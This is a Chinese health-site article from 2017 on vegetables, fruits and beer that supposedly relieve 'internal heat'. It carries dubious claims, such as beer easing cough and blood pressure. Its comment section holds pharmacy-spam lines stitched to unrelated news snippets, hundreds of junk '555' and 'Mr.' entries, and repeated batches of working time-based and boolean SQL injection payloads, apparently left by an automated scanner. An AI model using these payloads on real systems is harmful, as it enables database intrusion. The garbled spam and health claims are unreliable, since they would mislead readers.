2017-08-22
蔬果可解热、生津、降火气，助纾解各类上火症状。
有的人容易上火，会口干、嘴破、便秘、睡不着觉，以中医的角度来看，火气大只要辩证论治正确，就能药效良好。当然，除了中药，蔬果也是降火的佳品。专家指出，瓜果类富含维生素C，尤其是靠近果皮的地方，维他命C含量更丰富，可解热、生津、降火气，助纾解各类上火症状。
蔬菜
消暑推荐的蔬菜有丝瓜、苦瓜、金针、冬瓜、芦笋、黄瓜等，基本上瓜类退火的效果都相当不错，口味喜恶则因人而异。但因维生素c加热后易流失，最好用凉拌的烹煮方式。
冬瓜
有利尿、消肿、清热、解毒、降火以及消炎的作用。
将冬瓜去皮、去籽后，冬瓜肉刨丝稍微氽汤，依个人口味加醋、香油调味。靠近绿色果皮的地方维生素c含量较多，只要薄薄削掉冬瓜皮即可。
苦瓜
有清火、解热、解渴等作用。
青苦瓜的维生素c含量比白色苦瓜丰富，以100公克的重量计算，青苦瓜含有87毫克的维生素c，白苦瓜有19毫克。
水果
水果偏凉性，能清热退火、利尿，适合夏天吃，但建议不要冷藏以免加重寒凉性，在室温中存放就好。水果糖分含量较高，如果是需要控制血糖的人，例如糖尿病患者，建议吃瓜类蔬菜取代瓜类水果。
西瓜
青热解暑、消水肿，西瓜皮有助于降血压。
靠近西瓜皮的地方的白色果肉，c含量较高，因此吃完西瓜后，不要将白色果肉丢掉，可刨丝稍微氽汤一下凉拌吃。
香瓜
有解热、退火、利水等作用。
香瓜较其它瓜果含有丰富的钾，对降血压有帮助。瓜果类水果建议现切现吃，不要打成果汁，可保留较多维C。
啤酒
啤酒中含有丰富的氨基酸、蛋白质、矿物质以及其他有益人体健康的成分。适量喝些啤酒可起到健胃、清目、散热、解渴、降血压、止咳、利尿、消除疲劳、恢复体力等作用。
评论
查看更多
How would you like the money? ivp lasix protocol Transcept has struggled to lift sales of its lead drug, Intermezzo, since it hit the market in April 2012. The company's revenue, mainly made up of Intermezzo sales, fell to $200,000 in the quarter ended June from $500,000 a year earlier.
I study here metformin er 500 mg On the commodities front, concerns about a near-term U.S.crude surplus helped push U.S. crude prices down about0.5 percent to $97.82 a barrel. Brent crude gave up 0.3percent to $109.70 a barrel, supported by a weaker dollar.
Have you seen any good films recently? flovent vs atrovent Tensions flared between Japan and its Asian neighbors earlier this year when Abe made an offering to the shrine, and Deputy Prime Minister Taro Aso and two other ministers visited Yasukuni during its spring festival.
I'd like to order some foreign currency levofloxacin 500 mg in hindi Shares in NetDragon plunged on Tuesday on news of the proposed sale and abandonment of the spinoff plans, and were trading down 17.7 percent as of noon in Hong Kong. Still, the stock has risen about 80 percent this year in anticipation that the company would cash out of 91 Wireless.
I'm from England aciclovir 200 mg jarabe precio In Dallas, Texas Attorney General Greg Abbott said his statewas dropping out of a U.S. Justice Department lawsuit seeking toblock the merger, a move some experts called a crack in theunited front of those opposing the creation of the world'slargest airline.
I work for myself precio del diclofenaco No, Gilligan thinks that we all harbor some of the instincts that turned the seriesâ main character â a mild-mannered high-school chemistry teacher â into an increasingly merciless and amoral drug dealer.
Recorded Delivery benicar 40 mg preo drogaria sao paulo Panama has asked the U.N. Security Council to investigatethe ship and its contents amid suspicion that the vessel is inbreach of a wide-ranging arms embargo on North Korea for itsnuclear and ballistic missile program.
How do you spell that? goodrx topamax A year on and the woman is Witness B, giving evidence used to arrest Mihaloliakos and five fellow Golden Dawn lawmakers. They have been charged with belonging to a criminal organization involved in many offences including the stabbing last month of a left-wing rap artist whose death has infuriated the government.
I really like swimming apo furosemide for dogs side effects There are a lot of reasons why de Blasio has started to pull away in the last two weeks before the Democratic primary, starting with the level of competition. But de Blasio has certainly not been hurt now that his son, Dante, who turns 16 next week, has become as much a face of this campaign as any candidate in it.
How long have you lived here? cefixime cloxacillin and lactic acid bacillus tablets uses in hindi In the findings describing its decision, regulators wrote that AIG’s life-and-retirement business could face the equivalent of a run on a bank if policyholders become alarmed about the company’s financial condition. Owners of life-insurance policies and retirement-income annuity contracts could seek to cash out the products in bulk, disregarding potentially large surrender charges and tax penalties.
Can I use your phone? monroe park pharmacy One of the reasons I was asked to photograph this event from the main camera platform was that as a predominantly sports focused photographer, I was well equipped with the use of remote cameras. Larry asked me how many cameras I could set up and trigger in addition to the camera I was shooting with my eye. In the end I used four remote cameras set up in various locations on the platform with lenses from wide angle to telephoto so we had as many views as we could of the expected handshake.
What do you do? lipitor 20 mg price in india The site's authors have hit back, insisting it is notfolding for lack of interest. Instead peak oil has gonemainstream. "Repetition of the basic information, beyond acertain point, was counter-productive," the site claimed.
I'm afraid that number's ex-directory amoxicillin for balanitis “Here Clydesdale failed in that basic duty and, when it discovered the problem, sought to pass all of the consequences on to its customers – expecting them to find the money to remedy mistakes which were entirely of Clydesdale's making.
I've got a very weak signal bissulfato de clopidogrel 75 mg preo drogasil âNow itâs time for us to lift him up and keep encouraging him,â he added. âEliâs a competitor. Heâs trying to do anything possible in order to give us a win. The last play where the interception was, it was just a bad throw. Heâs human. It wasnât a bad read. It wasnât a mis-timing. The ball just sailed a little bit. We all (make mistakes).â
How many weeks' holiday a year are there? furp diclofenaco 50 mg para que serve "It is devastating for my family to hear the comments from juror B29, comments which we already knew in our hearts to be true, that George Zimmerman literally got away with murder," Sybrina Fulton, Martin's mother, said in a statement released through The Trayvon Martin Foundation. "This new information challenges our nation once again to do everything we can to make sure that this never happens to another child."
Pleased to meet you topical isotretinoin pakistan Losing sleep can make a person look unattractive. However, it isn't just about puffy eyes or dark circles or looking "alert" after good sleep. The scientists say that continuous positive airway pressure (CPAP) therapy can actually improve facial appearance in people suffering from obstructive sleep apnea (OSA)
555
555
555
555
555
555
555
555
555
555
555
Mr.
Mr.
555
555
555
Mr.
555
Mr.
555
Mr.
Mr.
Mr.
Mr.
Mr.
555
Mr.
555
Mr.
555
Mr.
555
Mr.
555
Mr.
555
Mr.
555
Mr.
555
Mr.
555
Mr.
555
Mr.
555
Mr.
555
555
555
Mr.
555
Mr.
555
Mr.
555
Mr.
Mr.
Mr.
Mr.
Mr.
Mr.
Mr.
Mr.
Mr.
Mr.
Mr.
Mr.
Mr.
555
555
Mr.
Mr.
Mr.
Mr.
Mr.
Mr.
Mr.
Mr.
555
Mr.
555
Mr.
555
555
555
555
555
Mr.
555
Mr.
555
Mr.
555
Mr.
555
Mr.
555
Mr.
555
Mr.
555
Mr.
555
Mr.
555
Mr.
555
Mr.
Mr.
Mr.
555
Mr.
555
Mr.
555
555
Mr.
555
555
Mr.
Mr.
Mr.
Mr.
Mr.
555
Mr.
555
Mr.
555
555
555
555
555
555
Mr.
555
Mr.
555
Mr.
555
Mr.
555
Mr.
555
Mr.
555
Mr.
555
Mr.
555
Mr.
555
Mr.
Mr.
Mr.
Mr.
555
Mr.
555
Mr.
555
555
555
555
555
555
555
555
RbYjU898
-1 OR 2 270-270-1=0 0 0 1 --
-1 OR 2 880-880-1=0 0 0 1
-1' OR 2 682-682-1=0 0 0 1 --
-1' OR 2 615-615-1=0 0 0 1 or 'lEPWIpMP'='
-1" OR 2 718-718-1=0 0 0 1 --
if(now()=sysdate(),sleep(15),0)
Mr.
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
Mr.
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*' (select(0)from(select(sleep(15)))v) '" (select(0)from(select(sleep(15)))v) "*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1)); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
krTJwwAP'; waitfor delay '0:0:15' --
fdOnP3Go'); waitfor delay '0:0:15' --
Ol6XcEpD')); waitfor delay '0:0:15' --
-5 OR 942=(SELECT 942 FROM PG_SLEEP(15))--
-5) OR 430=(SELECT 430 FROM PG_SLEEP(15))--
-1)) OR 282=(SELECT 282 FROM PG_SLEEP(15))--
5SO10taZ' OR 597=(SELECT 597 FROM PG_SLEEP(15))--
qCb3Q1kI') OR 299=(SELECT 299 FROM PG_SLEEP(15))--
EfKBtux8')) OR 133=(SELECT 133 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1 ����%27%22
@@FdyIp
555
555
1
1
KauajGiA
-1 OR 2 748-748-1=0 0 0 1 --
-1 OR 2 370-370-1=0 0 0 1
-1' OR 2 129-129-1=0 0 0 1 --
-1' OR 2 919-919-1=0 0 0 1 or 'eUjo4T4k'='
-1" OR 2 391-391-1=0 0 0 1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*' (select(0)from(select(sleep(15)))v) '" (select(0)from(select(sleep(15)))v) "*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1)); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
Mnt2KWRQ'; waitfor delay '0:0:15' --
w096lkFw'); waitfor delay '0:0:15' --
UrFDsZo4')); waitfor delay '0:0:15' --
-5 OR 723=(SELECT 723 FROM PG_SLEEP(15))--
-5) OR 581=(SELECT 581 FROM PG_SLEEP(15))--
-1)) OR 356=(SELECT 356 FROM PG_SLEEP(15))--
U2nkbDlO' OR 341=(SELECT 341 FROM PG_SLEEP(15))--
pcW2PzBY') OR 498=(SELECT 498 FROM PG_SLEEP(15))--
2OIm1gbJ')) OR 36=(SELECT 36 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1 ����%27%22
@@lnUzN
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
Qe9vh4PG
-1 OR 2 939-939-1=0 0 0 1 --
-1 OR 2 147-147-1=0 0 0 1
-1' OR 2 745-745-1=0 0 0 1 --
-1' OR 2 709-709-1=0 0 0 1 or 'NvBXG9LW'='
-1" OR 2 118-118-1=0 0 0 1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/*' (select(0)from(select(sleep(15)))v) '" (select(0)from(select(sleep(15)))v) "*/
555
-1; waitfor delay '0:0:15' --
555
555
555
555
555
555
-1); waitfor delay '0:0:15' --
555
-1)); waitfor delay '0:0:15' --
555
1 waitfor delay '0:0:15' --
555
FZUpxwR7'; waitfor delay '0:0:15' --
555
JurR8PYy'); waitfor delay '0:0:15' --
555
K7NGDowy')); waitfor delay '0:0:15' --
555
-5 OR 543=(SELECT 543 FROM PG_SLEEP(15))--
555
-5) OR 286=(SELECT 286 FROM PG_SLEEP(15))--
555
-1)) OR 729=(SELECT 729 FROM PG_SLEEP(15))--
555
I1pc8n3E' OR 586=(SELECT 586 FROM PG_SLEEP(15))--
555
hE6gM5dL') OR 217=(SELECT 217 FROM PG_SLEEP(15))--
555
nad9UrLT')) OR 469=(SELECT 469 FROM PG_SLEEP(15))--
555
555
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1 ����%27%22
@@bzWaE
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
Ywcb0Lbl
-1 OR 2 992-992-1=0 0 0 1 --
-1 OR 2 49-49-1=0 0 0 1
-1' OR 2 688-688-1=0 0 0 1 --
-1' OR 2 838-838-1=0 0 0 1 or '1cRxi5YW'='
-1" OR 2 414-414-1=0 0 0 1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*' (select(0)from(select(sleep(15)))v) '" (select(0)from(select(sleep(15)))v) "*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1)); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
LNjVthXQ'; waitfor delay '0:0:15' --
xwwCGxgs'); waitfor delay '0:0:15' --
HxKZJn6T')); waitfor delay '0:0:15' --
-5 OR 608=(SELECT 608 FROM PG_SLEEP(15))--
-5) OR 404=(SELECT 404 FROM PG_SLEEP(15))--
-1)) OR 977=(SELECT 977 FROM PG_SLEEP(15))--
bj0uQbV2' OR 33=(SELECT 33 FROM PG_SLEEP(15))--
3gde6pEd') OR 282=(SELECT 282 FROM PG_SLEEP(15))--
7T9BMRgF')) OR 366=(SELECT 366 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1 ����%27%22
@@jj7Qf
555
555
《健康与美容》唯一官方网站 京ICP备11010392号-2
地址：北京市朝阳区太阳宫大厦2001室
